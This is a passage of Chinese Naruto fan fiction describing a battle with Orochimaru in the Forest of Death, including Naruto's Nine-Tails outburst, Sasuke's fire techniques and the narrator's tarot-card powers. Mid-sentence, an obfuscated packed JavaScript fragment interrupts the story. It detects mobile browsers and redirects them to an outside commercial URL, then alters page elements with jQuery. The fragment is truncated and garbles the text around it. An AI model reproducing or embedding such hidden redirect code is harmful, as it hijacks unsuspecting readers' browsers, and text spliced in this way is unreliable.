被我狠狠砸了一拳腹部的佐助,此刻也发出了沉闷的呻吟。剧烈的疼痛似乎也成了对抗杀气的良药,他急促地喘息着,捂着肚子,那双写轮眼虽然依旧残留着惊悸,但属于宇智波的冷静和锐利正在艰难地回归。 他抬起头,目光复杂地看了我一眼(那眼神里有震惊,有不解?),随即也咬紧牙关,和我一起屏息凝神,将警惕的目光投向外面逐渐消散的光芒和烟尘。 小樱感受到我手心传来的微弱却坚定的力量,又看到佐助也恢复了部分行动力,求生的意志终于压倒了恐惧。她死死地咬着下唇,手指用力地掐进潮湿的泥土里,仿佛这样才能汲取力量,让自己不再失控地颤抖。 然而,命运似乎总爱在最紧绷的时刻拨动那根绝望的弦。 一片巨大的阴影,毫无征兆地笼罩了我们藏身的凹陷! 冰冷的、带着浓郁腥气的吐息如同实质般喷吐下来! 我猛地抬头,心脏骤停! 一只巨大到超乎想象的蟒蛇头颅,正悬在我们上方!暗黄色的竖瞳冰冷无情地锁定了我们!它张开的巨口如同通往地狱的隧道,腥红的信子吞吐着,锋利的毒牙闪烁着幽绿的寒光!刚才的爆炸和强光,终究还是暴露了我们的位置! 佐助的反应快如鬼魅!在蛇口噬咬下来的瞬间,他猛地蹬地,身体化作一道黑线,险之又险地贴着腥风从蛇口边缘滑了出去!巨蛇的獠牙狠狠咬在他刚才的位置,坚硬的岩石地面如同豆腐般被啃碎,碎石飞溅! “啊!” 我刚想有所动作,一股虚弱感猛然袭来,脚步一软。就在这时,一只温暖而坚定的手猛地抓住了我的胳膊! 是小樱! 她不知从哪里爆发出的力量,在我身体摇晃的瞬间,毫不犹豫地拽着我向旁边一块凸起的岩架下躲去!她的动作甚至带着一种保护者的决绝,将我护在了她的身后!手指传来的温度和那股坚定的力量,让我的心猛地一颤。 小樱……她真的,在飞速地成长! 巨蟒一击落空,冰冷的竖瞳瞬间锁定了翻滚出去的佐助!庞大的身躯展现出与其体型不符的恐怖灵活,蛇尾一摆,巨大的头颅再次如同离弦之箭般射向佐助!蛇口大张,死亡的阴影再次笼罩! “佐助!小心!” 我失声惊呼,心脏几乎跳出胸腔!恐惧感如同冰冷的藤蔓缠绕上来。 佐助在翻滚中稳住身形,面对再次袭来的吞噬巨口,眼中没有丝毫慌乱,只有属于忍者的极致冷静!他双手在忍具包中一抹,数枚苦无已然在手!写轮眼高速转动,精准地捕捉着巨蟒攻击轨迹中那一闪即逝的破绽! “喝!” 他低吼一声,身体在极限的闪避中猛然拧转,手臂肌肉贲张,将灌注了全身力气的苦无朝着巨蟒相对脆弱的眼瞳和张开的上颚狠狠掷出!寒光如同流星般没入! “嘶——!” 巨蟒发出吃痛的嘶鸣,攻击动作明显一滞!佐助则借着投掷的反作用力和地面的蹬踏,再次向后翻滚出数米,拉开了距离,单膝跪地,胸膛剧烈起伏,汗水顺着脸颊滑落,眼神却依旧死死锁定着发狂的巨兽。 就在巨蟒因疼痛而狂躁甩头,搅动起漫天尘土和碎叶时,一个令人毛骨悚然的身影,如同蜕皮般缓缓从巨蟒颈部的鳞片缝隙中“滑”了出来。 大蛇丸! 他苍白的皮肤上沾满了粘稠的、散发着腥臭的蛇类□□,黑色的长发湿漉漉地贴在脸颊。他毫不在意地伸出那长得异乎寻常的猩红舌头,慢条斯理地舔舐着嘴角和脸颊的粘液,动作带着一种非人的、令人极端生理不适的滑腻感。金色的蛇瞳扫过狼狈的佐助,最后落在我藏身的岩架方向,嘴角勾起一抹玩味的、冰冷的弧度。 “差点忘记了还有一个人呢……” 他的声音嘶哑低沉,如同蛇类在砂砾上摩擦 “能从我手里带走两个人,甚至引动这样的力量……真是越来越让我欣赏了。” 话语中听不出是赞叹还是威胁。 他没有再废话,身体猛地前倾!那双属于人类的脚踝瞬间变得如同无骨般柔软,整个下半身诡异地拉长、扭曲,如同一条人立而起的巨蟒,以超越视觉捕捉的恐怖速度,带着刺耳的破空声,直扑刚刚稳住身形的佐助! 佐助瞳孔骤缩!写轮眼疯狂转动,试图解析这完全违背常理的攻击轨迹!巨大的死亡压力让他额角青筋暴跳,牙齿咬得咯咯作响,身体在本能的驱使下做出极限闪避的姿态,但对方的速度和角度都刁钻到了极致! 就在这千钧一发之际! “咻!咻!咻!” 数道凌厉的破空声撕裂紧张到凝固的空气!几枚手里剑带着决绝的气势,精准地钉在大蛇丸冲刺路径前方的地面上和树干上,虽然没有直接命中,却成功逼得他身形微顿,攻势稍缓! 一个金色的身影如同燃烧的太阳,带着一往无前的气势,猛地从侧上方的树冠中跃下,重重落在佐助前方不远处的空地上!尘土飞扬中,他微微喘息着,声音里带着一丝脱困后的急切,更多的是一种终于赶到的、不容置疑的坚定: “抱歉,佐助!” 是鸣人! 我的目光几乎是瞬间就循着声音锁定了他!而几乎在同一时刻,鸣人那焦急搜寻的视线也穿透了烟尘,牢牢地捕捉到了岩架下、被小樱护在身后的我! 四目相对! 他那双标志性的湛蓝眼眸中,瞬间涌起了无比复杂的情绪——有挣脱蛇腹、重见天日的解脱;有终于找到目标、确认我安全的、如同溺水者抓住浮木般的巨大庆幸;更有一种失而复得的、近乎虔诚的希冀光芒在疯狂闪烁! “鸣人……” 我的嘴唇无声地翕动了一下,一直强忍着的、在眼眶中打转的泪水,在这一刻再也无法抑制,如同断线的珍珠般簌簌滚落。揪紧的心脏仿佛被一只温暖的手轻轻抚平,那几乎要将我吞噬的恐慌和绝望,在看到这抹金色身影的瞬间,奇迹般地消散了大半。还好……他还活着!他还在这里! “鸣人!太好了!” 小樱也看到了归来的同伴,声音里充满了劫后余生的喜悦和希望。 鸣人没有片刻停留,身形一晃,便从高处落到了我们所在的岩架附近。他快步走近,当他的目光落在我满是泪痕、苍白憔悴的脸颊,以及手臂上那道刺目惊心、仍在渗血的伤口时,那眼中的庆幸和希冀瞬间被一种强烈的心疼和慌乱所取代!他张了张嘴,似乎想说什么安慰的话,那神情,仿佛恨不得立刻冲上来抹去我的泪水,让笑容重新回到我的脸上。 但现在,绝不是宣泄情绪的时刻! 佐助还深陷险境!大蛇丸的威胁近在咫尺! 我用力吸了吸鼻子,用沾满泥土和血迹的袖子狠狠抹去脸上的泪水,强迫自己冷静下来。目光重新变得坚定,我对着鸣人用力地点了点头,声音带着一丝沙哑却无比清晰 “鸣人!专心!敌人很强!” 不需要任何暗号的确认,那眼神,那气息,那不顾一切也要冲到我面前确认我安危的冲动——他就是我的鸣人!独一无二的漩涡鸣人! “吊车尾的!别乱来!” 佐助的警告声带着前所未有的凝重和焦急,他捂着被大蛇丸杀气侵蚀后依旧隐隐作痛的胸口,厉声道 “这家伙的实力根本不是我们能对付的!差距太大了!就算我们四个一起上也只是送死!别冲动!” 鸣人仿佛没有听见佐助的警告,他缓缓站起身,面对着那个气息阴冷的“草忍”,双手抱胸,金色的发梢在激荡的气流中微微拂动。他的眼神不再是平时的跳脱,而是凝聚成一种前所未有的凛冽锋芒,如同出鞘的利刃,死死地钉在大蛇丸身上。 就是这个家伙!操控那条恶心的蛇把自己吞掉!差点……差一点就让自己和姐姐永远分开!直到此刻,看到姐姐眼中未干的泪痕和手臂的伤,那股在蛇腹中积压的憋闷和愤怒,终于找到了宣泄口,化作无法遏制的滔天怒火,在他胸腔里轰然炸开! 他无法想象,如果自己真的被那条蛇消化掉,再也回不来,姐姐会怎样崩溃绝望。他更不敢去想,如果姐姐为了保护他们而……自己会变成什么样子。光是这个念头,就让他感到一种灭顶般的恐慌和暴怒! 绝对!绝对不允许这种事情发生! “我!漩涡鸣人!” 鸣人猛地抬起手臂,直指大蛇丸,声音如同炸雷般响彻林间,充满了连他自己都未曾察觉的、几乎凝成实质的狂暴怒意 “要好好地教训你一顿!!” 佐助听到鸣人这近乎自杀式的宣言,只觉得一股血气直冲脑门,眼前发黑。这个白痴!根本不明白眼前敌人的恐怖!这样下去,第七班今天真的要全军覆没在这里了!御手洗红豆那句“别死”的忠告如同警钟在脑海中轰鸣。复仇!对那个男人的复仇还没有开始!自己绝不能死在这种地方! 电光火石之间,一个念头闪过佐助的脑海。他眼中闪过一丝挣扎,但瞬间被决绝取代!他猛地伸手探入自己的忍者包,掏出了那卷至关重要的『天之书』! “等等!” 佐助朝着大蛇丸高喊,试图吸引对方的注意 “你要的是卷轴对吧?我们给你!放过我们!” 话音未落,他已将手中的『天之书』用力抛向大蛇丸! 只有我心中一片冰冷。我太清楚了,大蛇丸的目标从来就不是什么卷轴!他想要的是佐助! 果然,大蛇丸看着飞来的卷轴,嘴角咧开一个充满嘲弄和贪婪的弧度,金色的蛇瞳里满是戏谑。他甚至连手都懒得抬一下,任由卷轴飞近,嘶哑的声音如同毒蛇吐信 “交出其他猎物,让捕食者放过自己一马吗?真是……天真的想法啊。” 然而,卷轴并未落入大蛇丸手中! 就在『天之书』即将飞过大蛇丸头顶的刹那,一道金色的身影如同闪电般冲天而起! “混蛋佐助!你干什么!” 鸣人怒吼着,以惊人的弹跳力跃至空中,一把将『天之书』牢牢抓在手中!落地后,他毫不犹豫,反手一拳狠狠砸在佐助的脸上! “砰!” 沉闷的撞击声响起。佐助猝不及防,被这饱含愤怒的一拳打得踉跄后退,嘴角瞬间渗出血丝。 “鸣人!你!” 佐助捂着火辣辣的脸颊,眼中燃起怒火,厉声反驳 “你这个白痴!你根本不明白!我们打不过他的!交出卷轴或许还有一线生机!你想让我们都死在这里吗?!” “一线生机?!” 鸣人将『天之书』紧紧攥在手里,像护着最珍贵的宝物,对着佐助咆哮,声音因极致的愤怒而微微变调 “像你这样懦弱的家伙,才不是我认识的佐助!把希望寄托在敌人施舍的‘可能’上?交出卷轴就能活命?开什么玩笑!这种事情,怎么可能啊!!” 他怒骂着,胸膛剧烈起伏,湛蓝的眸子里燃烧着不屈的火焰。旁边的大蛇丸饶有兴致地看着这“兄弟阋墙”的一幕,猩红的舌头缓缓舔过嘴唇,发出“嘶嘶”的轻笑,仿佛在欣赏一出绝妙的戏剧。 “猜对了,小家伙。” 大蛇丸的声音带着残忍的愉悦,彻底撕碎了佐助最后一丝幻想 “卷轴什么的,等杀了你们,再慢慢捡回来就好了。” 他慢悠悠地撸起宽大的袖管,露出了苍白手臂上密密麻麻、如同活物般微微蠕动的黑色咒印符文。 他用尖锐的指甲在手臂上轻轻一划,鲜血渗出。随即,双手化作一片残影,结印速度快得令人眼花缭乱! “通灵之术!” 嘭!!! 伴随着巨大的烟雾和浓烈的硫磺气息,一条体型比之前那条褐色巨蟒更为庞大、鳞片闪烁着暗紫色幽光的恐怖巨蛇凭空出现在大蛇丸脚下!它甫一出现,冰冷的竖瞳便锁定了下方的鸣人,巨大的蛇尾带着撕裂空气的尖啸,如同崩塌的山峦般狠狠拍下! “鸣人!躲开!” 我失声尖叫! 轰隆——!!! 蛇尾重重砸在鸣人刚才站立的地方!大地如同波浪般剧烈起伏、龟裂!狂暴的冲击波裹挟着泥土碎石和断裂的树木,如同海啸般向四周席卷!烟尘冲天而起,遮天蔽日! “咳咳咳……” 剧烈的风沙刺得我睁不开眼,呼吸也变得困难。小樱立刻转身,用她并不宽阔的后背死死护住虚弱的我,抵挡着扑面而来的冲击和碎屑。 烟尘稍散,只见鸣人险之又险地避开了这毁灭性的一击,身影出现在不远处一棵倾倒的大树旁,显然也被震得气血翻涌,喘息急促。 然而,大蛇丸的攻击如同跗骨之蛆!紫鳞巨蟒一击不中,巨大的头颅以不可思议的角度扭转,血盆大口再次张开,带着浓烈的腥风,朝着立足未稳的鸣人噬咬而去!速度比之前更快! 鸣人瞳孔一缩,身体再次极限闪避!但巨蟒的攻击范围实在太大,蛇吻边缘锋利的獠牙还是擦过了他的后背! “嗤啦!” 衣衫破裂!一道长长的血痕瞬间出现在鸣人背上! “呃啊!” 鸣人痛哼一声,身体被那股巨大的冲击力带得失去平衡,如同断了线的风筝般向后倒飞出去,接连撞断了好几根粗壮的树枝才重重摔落在地! “鸣人——!!!” 目睹这一幕,我感觉心脏被一只无形的手狠狠攥住!刚刚擦去的泪水再次汹涌而出!嘶吼声带着无法抑制的颤抖和绝望!我挣扎着想要冲过去,右手不顾疼痛地再次探入怀中,紧紧抓住了那叠塔罗牌!『力量(Strength)』牌的轮廓在指尖变得滚烫!脑海中只有一个念头:保护他!无论付出什么代价! “不行!你不能去!” 小樱死死抱住我的腰,用尽全身力气阻止我。她看着我惨白如纸、冷汗涔涔的脸,以及手臂上那道因为剧烈动作而再次崩裂、鲜血汩汩涌出的伤口,声音带着哭腔 “你的身体……已经到极限了!求你了!” 我们这边的动静显然引起了场中主宰者的注意。 大蛇丸那冰冷的金色蛇瞳扫了过来,落在我紧握着塔罗牌、意图反抗的姿态上,猩红的舌头饶有兴致地舔过嘴角 “哦?又是那种……有趣的力量吗?” 他话音未落,那条刚刚击飞鸣人的紫鳞巨蟒,巨大的蛇尾如同攻城巨锤般,带着碾碎一切的气势,竟直接朝着我和小樱藏身的岩架横扫而来!恐怖的阴影瞬间笼罩!死亡的气息扑面而至! “!” 瞳孔骤缩!手中的『战车(The Chariot)』牌瞬间被捏得死紧!牌面仿佛要灼伤我的掌心!精神高度集中,准备再次撕裂牌影,发动这象征着意志与征服的力量! 就在这千钧一发之际! “可恶啊啊啊——!给我离姐姐远点!!!” 一声饱含着无尽愤怒与狂暴的咆哮,如同受伤野兽的嘶吼,猛地从鸣人坠落的方向炸响! 一道充满毁灭性气息的查克拉光柱冲天而起!狂暴的能量风暴瞬间席卷开来,将周围的烟尘和碎木一扫而空!只见鸣人从一片狼藉中缓缓站起,周身被一层浓郁得如同实质的、燃烧着金红色火焰般的查克拉所包裹!他的眼睛不再是湛蓝,而是彻底被狂暴的猩红所占据!竖立的瞳孔中只剩下最原始的暴戾与毁灭欲! 九尾查克拉!爆发了! “吼——!” 鸣人(或者说被九尾查克拉强烈影响的鸣人)发出一声不似人声的怒吼,双脚猛踏地面!地面轰然炸裂!他的身影化作一道金红色的闪电,带着撕裂空间的恐怖速度,瞬间出现在正要攻击我和小樱的紫鳞巨蟒身侧! 凝聚了狂暴九尾查克拉的拳头,没有任何花哨,带着粉碎山岳般的恐怖力量,狠狠砸在了巨蟒的侧腹! “嘭——!!!” 沉闷到令人心脏停跳的巨响!紫鳞巨蟒那庞大的身躯,竟然被这一拳砸得整个横飞出去!坚硬的鳞片在接触拳锋的瞬间寸寸碎裂,血肉横飞!巨蟒发出凄厉无比的嘶鸣,重重地撞在远处的山壁上,震得整片森林都在颤抖! “嗯?” 大蛇丸眼中第一次露出了明显的惊讶之色,但随即又被更浓烈的兴趣所取代。他看着那道金红色的身影毫不停歇,带着毁灭一切的狂暴气势,再次朝着自己猛冲而来! “有意思!” 大蛇丸不闪不避,反而主动迎了上去!他那看似苍白瘦弱的手臂抬起,五指张开,掌心瞬间凝聚起一层粘稠如墨的黑色查克拉! “轰——!!!” 鸣人那燃烧着金红色火焰的拳头,与包裹着黑色查克拉的手掌,毫无花哨地碰撞在了一起! 肉眼可见的冲击波呈环形猛然扩散!周围数十米内的树木如同被无形的巨镰扫过,齐刷刷地断裂倒塌!地面被硬生生刮去了一层! 大蛇丸脚下的地面瞬间塌陷,蛛网般的裂痕蔓延开来!他身体微微一晃,竟被这狂暴的力量震得后退了一步!但他嘴角的弧度却越来越大,眼中充满了发现稀世珍宝般的狂热! “力量不错,可惜……太粗糙了!” 大蛇丸嘶哑一笑,抓住鸣人旧力刚尽、新力未生的瞬间,手腕猛地一抖、一甩! 一股巧劲爆发!鸣人那被狂暴查克拉包裹的身体,竟如同炮弹般被狠狠甩飞出去! “鸣人!” 我的心再次提到了嗓子眼! 就在鸣人在空中调整姿态,眼中猩红更甚,嘶吼着准备再次扑上时,大蛇丸却好整以暇地抬起了刚刚与鸣人对碰过的那只手,放在嘴边。 “呼——” 他轻轻地、如同吹灭烛火般,朝着鸣人的方向吹出了一口气。 一股诡异的、带着甜腻香气的淡红色雾气,如同拥有生命般,瞬间扩散开来,精准地将刚刚落地的鸣人笼罩其中! “呃……” 被红雾笼罩的鸣人,眼中的狂暴猩红如同潮水般迅速褪去,取而代之的是一种极致的迷茫和涣散。他身体晃了晃,脸上甚至浮现出一丝诡异的安详,随即双眼一闭,毫无征兆地、直挺挺地向后倒去,重重摔在地上,彻底失去了意识! “那么,” 大蛇丸的目光如同冰冷的探针,瞬间锁定了还处于震惊中的佐助,金色的蛇瞳中闪烁着贪婪的光芒 “佐助,你又会怎么做呢?” 他的身影再次变得模糊,如同鬼魅般朝着佐助电射而去!速度快得只在原地留下一道残影! “佐助君!” 小樱的尖叫声在我耳边响起,充满了绝望! 就在大蛇丸那缠绕着阴冷查克拉的手爪即将触碰到佐助脖颈的刹那—— “咻!” 一道微弱的寒光破空而至!并非射向大蛇丸,而是射向他攻击路径前方的一根树枝! 叮! 手里剑撞击树枝的声音清脆响起! 这微不足道的干扰,却成功让大蛇丸的动作出现了万分之一秒的迟滞! 只见本应昏迷倒地的鸣人,竟不知何时挣扎着半跪了起来!他猛烈的喘息着,脸色苍白,眼神却异常坚定!刚才那枚手里剑正是他所发!虽然身体摇摇欲坠,但他看向佐助的方向,眼中却带着一丝“我保护了你”的、近乎孩子气的执拗和得意。 “没……没事吧……” 鸣人的声音断断续续,虚弱却清晰 “胆……胆小鬼……” 他喘着粗气,努力支撑着想要站起,对着佐助喊道 “像你这种懦弱的笨蛋……根本就不是我认识的佐助!” 仿佛在用尽最后一丝力气证明自己的坚持。 然而,他这强弩之末的举动,彻底激怒了大蛇丸,也暴露了他更深的秘密。 大蛇丸眼中寒光一闪,那条猩红的长舌如同鞭子般骤然弹出!速度快得超越了视觉极限!瞬间缠住了鸣人的腰身,将他凌空卷起,拉到了自己面前! “放开鸣人!” 我和小樱同时惊呼! 大蛇丸无视我们的怒吼,另一只手闪电般探出,粗暴地撕开了鸣人腹部的衣物!当看到鸣人肚脐上那清晰无比的漩涡状封印符文时,金色的蛇瞳中闪过一丝了然和更深的玩味。 “果然如此……” 他嘶哑地低语。随即,他那只刚刚逼退狂暴鸣人的手,五指张开,指尖之上,五簇妖异的、如同活物般摇曳跳动的紫色火焰瞬间凝聚成形!火焰散发着不祥而冰冷的气息! “不——!住手!” 我目眦欲裂!仿佛预见到了什么可怕的事情!精神力不顾一切地疯狂压榨着濒临枯竭的身体!怀中的塔罗牌被死死攥住!这一次,是『战车(The Chariot)』!象征意志征服与胜利前进的牌! 来不及思考后果!我猛地抽出『战车』牌,左手做出撕裂牌影的动作,右手则狠狠地将实体牌按在身旁焦黑的树桩之上!牌面瞬间变得滚烫,仿佛要融化我的掌心!一股远比发动『权杖七』时更加狂暴、更加难以驾驭的意志力量,如同决堤的洪流,强行穿透了我早已不堪重负的四肢百骸! 轰——!!! 一股无形的、仿佛能碾碎空间的磅礴意志力,伴随着震耳欲聋的、如同远古战车冲锋般的轰鸣,瞬间降临!它并非作用于物质,而是直接锁定了大蛇丸所在的那片空间,带着绝对的征服意志,狠狠碾压而下! 咔嚓!咔嚓!咔嚓! 以大蛇丸为中心,方圆十米内所有的树木、岩石,仿佛被一只无形的、巨大的车轮碾过!瞬间爆裂、粉碎!化为漫天齑粉!烟尘如同蘑菇云般腾空而起!遮天蔽日!恐怖的冲击波再次席卷,将刚刚爬起来的鸣人再次掀飞出去,也逼得远处的佐助和小樱连连后退! “呃啊——!” 发动这一击的代价是恐怖的!我感觉自己的灵魂仿佛都被这一下抽空!大脑如同被千万根钢针同时穿刺!眼前瞬间被无尽的黑幕笼罩,只有金星乱闪!喉咙一甜,一股腥甜涌上,又被我强行咽下! 身体再也支撑不住,如同被抽掉了所有骨头的布偶,软软地瘫坐在地上,只能依靠颤抖的手臂勉强支撑着上半身不至于彻底倒下。汗水如同溪流般从额头、鬓角滑落,浸透了衣襟。每一次呼吸都变得无比艰难,如同破旧的风箱,贪婪地汲取着稀薄的氧气,试图维系这濒临崩溃的生命之火。 烟尘缓缓散去。 大蛇丸的身影出现在另一侧一根相对完好的高大树桩顶端。他身上的衣物略显破损,沾染了些许尘土,但看起来并未受到实质性的重创。他那双金色的蛇瞳死死地盯着烟尘散尽后,静静躺在不远处树枝上、陷入深度昏迷的鸣人——在『战车』意志碾压的最后一刻,那股力量似乎有意识地绕开了鸣人所在的位置。 “威力……居然这么大?” 大蛇丸的声音带着一丝难以掩饰的惊讶,但更多的是一种发现新大陆般的、极度兴奋的光芒。他的目光缓缓移向瘫坐在地、气息奄奄的我,嘴角勾起一抹令人不寒而栗的、充满探究欲的笑容。 “没想到……真能见到这种能力……” 他低声自语,仿佛在确认着什么。随即,他竟从树桩上跳了下来,一步一步,带着十足的兴趣和一种看待稀有实验品般的贪婪,朝着我所在的位置缓缓走来。每一步,都仿佛踩在我们的心跳上。 “你想干什么!离她远点!” 小樱尽管吓得脸色发白,身体也在微微颤抖,但她依旧勇敢地张开双臂,死死挡在我的身前!手中的苦无对准步步逼近的大蛇丸,尽管那武器在对方眼中可能如同玩具。她大声喊道,声音带着颤抖却无比坚定 “尽管鸣人是个鲁莽的笨蛋!但他绝对不是一个胆小鬼!佐助!” 小樱的怒斥似乎激怒了大蛇丸,或者他只是觉得这只挡路的小虫子太过聒噪。他金色的蛇瞳中闪过一丝不耐,脚步并未停止。 就在这时! “咻咻咻——!” 数道凌厉的破空声再次响起!几枚手里剑带着刁钻的角度,射向大蛇丸前进的路径和可能闪避的死角!是佐助!他终于从刚才的震惊中完全恢复过来,并且抓住了这个机会! 大蛇丸身形微晃,如同鬼魅般轻松避开了所有攻击。他看向佐助,非但没有恼怒,眼中的欣赏之色反而更浓,甚至带着一种看待即将到手之物的满意。他放弃了走向我,低声嗫嚅了一句什么,身形一晃,再次化作一道模糊的残影,以更快的速度扑向了佐助! 新一轮的、更为激烈的攻防瞬间爆发! 佐助将写轮眼的洞察力发挥到了极致!大蛇丸的攻击如同狂风暴雨,角度刁钻,速度鬼魅,力量更是沛然莫御!但那双猩红的眸子总能提前捕捉到攻击的轨迹!佐助的身影在狭窄的空间内高速腾挪闪避,每一次都险之又险地避开致命的攻击,同时利用树木、岩石作为掩体,寻找着反击的机会! “火遁·豪火球之术!” 佐助抓住大蛇丸一次攻击落空的微小间隙,双手瞬间完成结印!胸膛高高鼓起,猛地喷吐! 呼——!!! 一团炽热无比的、直径超过三米的巨大银红色火球,带着焚尽一切的气势,呼啸着撕裂空气,瞬间将大蛇丸所在的位置彻底吞没!烈焰熊熊燃烧,将周围的空气都炙烤得扭曲起来!灼热的气浪扑面而来! 然而,佐助并未停止!他知道这种程度的攻击不可能解决对手! “还没完!” 佐助眼神凌厉,再次深吸一口气! “火遁·凤仙火之术!” 数十团拳头大小、同样炽热的火球如同盛开的凤仙花种子,从佐助口中连绵不断地喷射而出,精准地覆盖了火球爆炸后可能存在的所有闪避空间!火雨倾盆而下,将那片区域化为一片炼狱火海! 轰!轰!轰!轰! 剧烈的爆炸声不绝于耳!火焰冲天而起!浓烟滚滚! “成功了吗?” 小樱紧张地攥紧了拳头。 然而,伴随着一阵“滋滋”的异响和弥漫的烟雾,大蛇丸的身影如同鬼魅般从佐助侧后方一根燃烧着的树干中缓缓“钻”了出来!他身上带着被火焰燎烤的焦痕,但气息依旧平稳,金色的蛇瞳中闪烁着猫捉老鼠般的戏谑。 “速度太慢了。” 他嘶哑地评价道,身影再次消失! 佐助瞳孔一缩,写轮眼疯狂转动,捕捉到对方高速移动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575542|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轨迹,立刻向侧面闪避! 轰! 大蛇丸之前站立的地方被一道无形的□□贯穿,留下一个深坑!而佐助刚刚落脚,大蛇丸的身影如同附骨之疽般再次出现在他面前,带着诡异笑容的脸庞近在咫尺! “在这里!” 佐助眼中厉色一闪!他非但没有后退,反而迎着大蛇丸冲了上去!在对方似乎因他的“鲁莽”而微微错愕的瞬间,佐助猛地张开双臂,死死抱住了大蛇丸的腰腹! “什么?!” 大蛇丸似乎没料到佐助会采用这种近乎同归于尽的打法。 “喝啊——!” 佐助爆发出全身的力量和查克拉,抱着大蛇丸,如同炮弹般朝着不远处坚硬的地面狠狠冲撞下去!他要利用下坠的冲击力和自身的体重,将对方狠狠砸进地里! “砰——!!!” 一声闷响!烟尘弥漫! 然而,当烟尘稍稍散开,佐助的脸色却瞬间变得无比难看!他抱着的“大蛇丸”,身体竟然如同烂泥般迅速瘫软下去!手臂无力地滑落……这根本不是本体!只是一具惟妙惟肖的土分身! “替身术?!” 佐助心中警铃大作! “在上面!” 我虚弱地发出警示,但已经晚了! 咻咻咻——! 十数枚手里剑带着凄厉的破空声,如同致命的蜂群,从佐助头顶上方密林的阴影中激射而出!覆盖了他所有可能闪避的角度! 大蛇丸的真身如同蝙蝠般倒挂在更高处的树枝上,脸上带着掌控一切的冷笑。 佐助眼中写轮眼的光芒暴涨!身体在不可能的情况下极限扭动、翻滚!手中的苦无舞成一片光幕! 叮叮当当! 大部分手里剑被格挡开,但还是有两枚擦着他的手臂和大腿飞过,带起两道血线!他狼狈地滚倒在地,还未来得及起身,大蛇丸的身影已如影随形般从天而降,一脚狠狠踏向他的胸口! 局势瞬间逆转!佐助陷入了绝对的下风!只能依靠写轮眼带来的超强洞察力和坚韧的意志,在狂风暴雨般的攻击中苦苦支撑、闪避,偶尔才能做出一些微弱的反击,身上不断增添着新的伤痕。 “佐助君……” 小樱看着远处佐助险象环生的战斗,心都提到了嗓子眼,泪水在眼眶中打转。 我瘫坐在地上,大口地喘着粗气,每一次呼吸都牵扯着全身的剧痛和精神上的枯竭感。看着佐助被大蛇丸如同戏耍般压制,一股深深的无力感涌上心头。 我虚弱地抬起还能动的左手,轻轻抓住了小樱的衣角,用尽力气挤出几个字 “别……别担心……相信他……” 声音微弱得几乎听不见。 就在佐助被大蛇丸一记势大力沉的肘击狠狠砸中肩胛骨,闷哼着踉跄后退,眼看就要被下一击彻底击倒的瞬间—— “嘭!” 一声沉闷的爆炸突然在大蛇丸身上响起!并非佐助的攻击,而是之前佐助在近身缠斗时,悄然贴在大蛇丸后腰上的起爆符! 火光和烟雾瞬间吞没了大蛇丸的身影! “机会!” 佐助眼中精光爆射!强忍着肩胛骨传来的剧痛,双手在忍具包中一抹,数枚苦无已缠绕上坚韧的钢丝!他手臂猛地一挥! 咻!咻!咻! 苦无带着钢丝,如同有生命的毒蛇,精准地射向爆炸烟雾中几个关键的位置——并非瞄准身体,而是预判了对方可能的移动路径! 钢丝瞬间绷紧、缠绕! 烟雾中传来一声轻微的、仿佛被束缚住的闷哼! 佐助没有丝毫犹豫!双手以令人眼花缭乱的速度瞬间完成结印!胸膛再次高高鼓起!这一次,他凝聚了全身的查克拉,甚至不惜透支! “火遁·龙火之术——!” 呼——!!! 一条远比之前更加凝练、更加炽热、更加狂暴的银红色火龙,带着焚尽八荒的恐怖威势,从佐助口中咆哮而出!火龙精准地沿着绷直的钢丝轨迹,如同被引导的烈焰长矛,瞬间贯穿了爆炸烟雾的核心!将那片区域彻底化为一片沸腾的火海!火焰的温度之高,甚至让周围的空气都发出了噼啪的爆鸣!灼热的气浪将地面的落叶都瞬间点燃! “成功了?!” 小樱忍不住惊呼出声。 火焰缓缓散去,只留下地面一片焦黑和袅袅青烟,以及空气中残留的、令人窒息的高温余韵。 然而,仅仅一秒之后! “呵呵呵……真是出色的火遁,还有写轮眼的运用……” 大蛇丸那独特的、带着粘腻感的嘶哑笑声,如同鬼魅般从火焰边缘的阴影中响起! 他缓缓走了出来,身上的衣物被烧焦了大片,露出下面苍白得近乎透明的皮肤。他抬手,随意地抹了抹额头上被烈焰燎掉部分伪装、露出的苍白肌肤,金色的蛇瞳在阴影中闪烁着更加炽热和贪婪的光芒,死死盯着因查克拉透支而微微喘息、脸色苍白的佐助。 “这么年轻就能将写轮眼运用到如此程度,不愧是继承了宇智波之名的人……” 大蛇丸的声音充满了毫不掩饰的占有欲 “我果然……还是想要得到你啊。” 更加庞大、更加粘稠、更加令人窒息的恐怖杀气如同实质般压向佐助!佐助的身体瞬间僵硬,如同被冻结在琥珀中的昆虫!他拼命想要挣脱,想要移动,但身体仿佛不再属于自己,只有写轮眼还在疯狂转动,却无法驱动身体做出任何反应!冷汗瞬间浸透了他的后背。我的眼前也再次开始模糊,精神力枯竭带来的眩晕如同海啸般一波波冲击着意识,我拼命想要支撑起身体做点什么,但身体沉重得不听使唤。 “你们宇智波一族……” 大蛇丸缓缓走近如同雕像般僵立的佐助,声音带着一种蛊惑人心的低语 “果然是亲兄弟呢……” 他刻意顿了顿,欣赏着佐助因这关键词语而骤然缩紧的瞳孔 “你眼中所蕴藏的力量……那份憎恨与潜力……甚至比你那个哥哥……鼬,还要强大!” “鼬?!” 这个名字如同惊雷般在佐助脑海中炸响!所有的恐惧、僵硬瞬间被一种极致的、扭曲的愤怒和迫切的求知欲所取代!他猛地抬起头,猩红的写轮眼死死盯住大蛇丸,声音因为极致的情绪而嘶哑变形 “你……你到底是谁?!你为什么会知道那个名字?!那个男人……!他在哪里?!” 看到佐助这剧烈的反应,大蛇丸满意地笑了。他不再理会佐助的问题,反而慢条斯理地从怀里掏出了那卷刚刚被鸣人抢回去、又在他发动通灵术时掉落的『天之书』,在手中随意地把玩着。 “我叫……大蛇丸。” 他报出了自己的名号,如同在宣读一个既定的命运 “如果还想见到我的话……” 